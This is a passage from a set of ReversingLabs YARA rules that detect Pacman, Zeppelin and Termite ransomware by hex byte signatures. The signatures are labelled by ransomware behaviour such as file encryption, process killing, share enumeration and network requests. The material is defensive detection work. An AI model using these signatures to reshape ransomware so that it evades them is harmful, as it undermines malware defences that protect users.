?? ?? ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 2C ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 1F ?? 28 ?? ?? ?? ?? 73 - ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 2A 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 26 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 26 07 17 58 0B 07 06 8E 69 3F ?? ?? ?? ?? 2A - } - $encrypt_files = { - 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 73 ?? ?? ?? ?? 0A 06 03 6F ?? ?? ?? ?? 06 02 6F - ?? ?? ?? ?? 26 06 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F - ?? ?? ?? ?? DC 02 17 28 ?? ?? ?? ?? DE ?? 26 DE ?? 2A - } - $send_http_request = { - 1C 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 - 03 A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 04 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? - ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A - } - $send_dns_request = { - 1C 8D ?? ?? ?? ?? 25 16 04 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 03 A2 25 19 - 72 ?? ?? ?? ?? A2 25 1A 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 26 DE ?? 26 DE ?? 2A - } - - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $send_http_request ) and ( $send_dns_request ) -} -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Pacman : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Pacman ransomware." - author = "ReversingLabs" - id = "a440769b-030b-5b72-a6f2-cf478dd7acd2" - date = "2021-08-12" - modified = "2021-08-12" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara#L1-L68" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0634303a4db2631edb40a9435444f3bdc4bc6eb745c7e43a54478e54e7507403" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Pacman" - tc_detection_factor = 5 - importance = 25 - - strings: - $pacman_find_encrypted_1 = { - 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 28 - 29 02 00 06 1F 1C 28 0E 04 00 06 [0-2] 7E 13 00 00 04 20 0F 03 00 00 28 2F 00 00 06 25 - 26 28 5D 02 00 06 [0-2] 28 6D 01 00 06 [0-2] 0B 07 13 06 16 13 05 2B 31 11 06 11 05 9A - 0C 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] - 08 28 55 02 00 06 [0-2] 26 11 05 17 D6 13 05 11 05 11 06 8E B7 32 C7 1D 45 01 00 00 00 - F6 FF FF FF 17 2D 06 D0 1E 01 00 06 26 16 0A 38 BC 01 00 00 28 0A 00 00 06 [0-2] 6F 0D - 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 14 20 - B0 0F 00 00 28 2F 00 00 06 [0-2] 1F 0A 8D 76 00 00 01 13 07 11 07 16 20 BF 0F 00 00 28 - 2F 00 00 06 [0-2] A2 11 07 17 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 18 20 C5 0F - 00 00 28 2F 00 00 06 [0-2] A2 11 07 19 20 C8 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1A - 20 CB 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1B 20 CE 0F 00 00 28 2F 00 00 06 [0-2] A2 - } - $pacman_find_encrypted_2 = { - 11 07 1C 20 D1 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1D 20 D4 0F 00 00 28 2F 00 00 06 - [0-2] A2 11 07 1E 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1F 09 20 D7 0F 00 00 28 - 2F 00 00 06 [0-2] A2 11 07 14 14 14 28 7A 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 0D 28 07 - 00 00 06 28 1A 04 00 06 [0-2] 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 - [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 28 36 05 00 06 - [0-2] 2C 78 1A 45 01 00 00 00 F6 FF FF FF 7E 16 00 00 04 28 9D 02 00 06 [0-2] 28 0A 00 - 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 - 00 06 [0-2] 28 E2 05 00 06 [0-2] 09 16 28 23 01 00 06 28 0A 00 00 06 [0-2] 6F 0D 00 00 - 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 - 06 [0-2] 28 66 04 00 06 DE 0F 25 28 4E 04 00 06 13 04 28 02 03 00 06 DE 00 06 17 D6 0A - 06 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] - 28 E2 04 00 06 [0-2] 3F 1B FE FF FF 1B 45 01 00 00 00 F6 FF FF FF 28 28 00 00 06 2A - } - $pacman_encrypt = { - 28 65 02 00 06 [0-2] 0A 16 13 05 20 00 04 00 00 13 07 06 11 07 28 2A 05 00 06 [0-2] 2C - 19 1C 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 20 01 00 06 26 11 07 13 05 2B 15 11 07 15 - D6 13 07 11 07 17 2F D0 17 45 01 00 00 00 F6 FF FF FF 20 DA 0F 00 00 28 2F 00 00 06 [0-2] - 11 05 28 9D 02 00 06 [0-2] 28 E2 02 00 06 [0-2] 28 6E 03 00 06 06 28 0A 03 00 06 [0-2] - 0B 14 13 04 14 0D 1F 0E 8D 25 00 00 01 13 0B 11 0B 16 ?? 9C 11 0B 17 ?? 9C 11 0B 18 - ?? 9C 11 0B 19 ?? 9C 11 0B 1A ?? 9C 11 0B 1B ?? 9C 11 0B 1C ?? 9C 11 0B 1D ?? 9C 11 0B - 1E 20 ?? ?? ?? ?? 9C 11 0B 1F 09 20 ?? ?? ?? ?? 9C 11 0B 1F 0A 20 ?? ?? ?? ?? 9C 11 0B - 1F 0B 1F ?? 9C 11 0B 1F 0C 1F ?? 9C 11 0B 1F 0D 1F ?? 9C 11 0B 13 06 02 11 06 11 05 07 - 12 04 12 03 28 1F 01 00 06 05 2C 18 18 45 01 00 00 00 F6 FF FF FF 06 11 04 09 28 96 03 - 00 06 [0-2] 0C 2B 0C 06 11 04 09 28 7E 05 00 06 [0-2] 0C 04 08 17 28 45 01 00 06 [0-2] - 13 08 20 01 04 00 00 8D 25 00 00 01 13 09 03 11 09 16 20 00 04 00 00 28 3A 03 00 06 [0-2] - 13 0A 11 0A 16 33 0C 1D 45 01 00 00 00 F6 FF FF FF DE 24 11 08 11 09 16 11 0A 28 F6 04 - 00 06 2B CF 11 08 2C 11 18 45 01 00 00 00 F6 FF FF FF 11 08 28 1E 03 00 06 DC DE 0C 28 - 4E 04 00 06 28 02 03 00 06 DE 00 08 28 1E 03 00 06 2A - } - - condition: - uint16( 0 ) == 0x5A4D and ( $pacman_find_encrypted_1 and $pacman_find_encrypted_2 and $pacman_encrypt ) -} -rule REVERSINGLABS_Win32_Ransomware_Zeppelin : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Zeppelin ransomware." - author = "ReversingLabs" - id = "f5cf514d-4dd0-58b7-82d0-5cb516a139a3" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zeppelin.yara#L1-L109" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8fb07e49d2ff9d497fb36a5d901748315ae519f5ef845d1a5ec6341d0eb1f68c" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Zeppelin" - tc_detection_factor = 5 - importance = 25 - - strings: - $search_files_p1 = { - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 45 ?? E8 ?? - ?? ?? ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 2B D8 43 53 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 42 - 8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 30 FF 75 ?? 68 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 83 F8 - ?? 7C ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 - ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - C3 - } - $search_files_p2 = { - 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 - 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? - 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? - ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C3 - } - $kill_processes = { - 55 8B EC 33 C9 51 51 51 51 51 51 51 51 53 56 57 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? - 88 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ?? - 64 FF 32 64 89 22 8D 55 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B D8 8B 45 ?? 89 58 ?? 8B C3 B2 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? - C6 40 ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B F0 85 F6 - 7E ?? BB ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D - 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? 8D 55 ?? 8B 45 - ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 40 ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? - EB ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? - ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B1 ?? 33 - D2 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? - 8B 45 ?? 80 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5F - 5E 5B 8B E5 5D C3 - } - $enum_shares = { - 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 53 56 57 89 45 ?? 8B 45 ?? E8 ?? ?? - ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? 33 - D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 89 45 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B - 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 48 85 - C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 55 ?? 8B 45 ?? 8B - 18 FF 53 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 FF 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? 33 D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 - ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? - 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 - 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? FF 45 ?? - FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A - 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? - ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB - ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B D9 88 - 55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C6 E8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 88 5E ?? 88 5E ?? 56 6A ?? 8D 46 ?? 50 B9 ?? ?? ?? ?? 33 D2 33 C0 E8 ?? - ?? ?? ?? 8B D8 89 5E ?? 85 DB 75 ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? - 89 45 ?? C6 45 ?? ?? 8D 45 ?? 50 6A ?? 8B 0D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? - ?? C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( $kill_processes ) and ( $enum_shares ) and ( all of ( $search_files_p* ) ) and ( $encrypt_files ) -} -rule REVERSINGLABS_Win32_Ransomware_Termite : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Termite ransomware." - author = "ReversingLabs" - id = "350011fa-1e3c-5079-8fe7-968340a3aca0" - date = "2020-08-31" - modified = "2020-08-31" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Termite.yara#L1-L151" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "df273de81fc58cb0bacf021ee539ec6dbfa1f1a3e13bd46519ee313595cafb4c" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Termite" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 - ?? ?? ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D - ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 8B 1B 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? - 58 8B 5D ?? 89 03 68 ?? ?? ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D - ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 - C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? - B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B - 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 - } - $find_files_p2 = { - 83 C4 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 94 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? - ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? - ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 - C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 - C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 - F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F - 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? - ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? - B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 - } - $find_files_p3 = { - 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 - ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 81 7D ?? ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? FF 75 ?? 8B 5D - ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 - ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 - DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 - 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 - ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? - 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? A1 ?? ?? ?? ?? 50 - FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? - 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D - ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 - ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 68 - } - $find_files_p4 = { - FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? - 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? - ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? B8 - ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? FF 75 ?? B9 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 - C4 ?? 8B 5D ?? 